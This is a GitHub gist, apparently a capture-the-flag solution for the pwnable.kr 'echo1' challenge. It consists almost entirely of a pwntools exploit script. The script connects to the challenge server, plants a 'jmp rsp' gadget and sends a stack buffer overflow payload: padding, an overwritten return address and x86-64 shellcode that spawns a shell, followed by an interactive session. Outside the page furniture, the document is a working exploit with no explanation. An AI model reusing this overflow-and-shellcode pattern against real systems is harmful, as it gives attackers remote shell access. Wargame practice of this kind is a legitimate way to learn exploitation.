from pwn import *
proc = remote("pwnable.kr", 9010)
proc.sendline(asm("jmp rsp", arch="amd64", os="linux"))
proc.sendline("1")
proc.sendline("a"*40+p64(0x6020a0)+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
proc.interactive()-
-
Save spnow/e08a3f221db8f042cdef33b9bb5113f8 to your computer and use it in GitHub Desktop.
pwnable.kr echo1 writeup
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment